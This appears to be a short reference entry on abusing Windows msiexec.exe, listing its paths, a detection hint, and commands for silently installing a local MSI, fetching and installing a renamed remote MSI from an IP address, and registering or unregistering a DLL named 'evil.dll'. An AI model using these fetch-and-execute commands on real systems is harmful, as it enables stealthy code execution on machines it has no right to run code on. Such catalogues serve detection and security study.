Used by Windows to execute msi files

Paths:

C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exe

Detection: msiexec.exe getting files from Internet

Execute

Installs the target .MSI file silently.

msiexec /quiet /i cmd.msi

Installs the target remote & renamed .MSI file silently.

msiexec /q /i http://192.168.100.3/tmp/cmd.png

Calls DLLRegisterServer to register the target DLL.

msiexec /y "C:\folder\evil.dll"

Calls DLLRegisterServer to un-register the target DLL.

msiexec /z "C:\folder\evil.dll"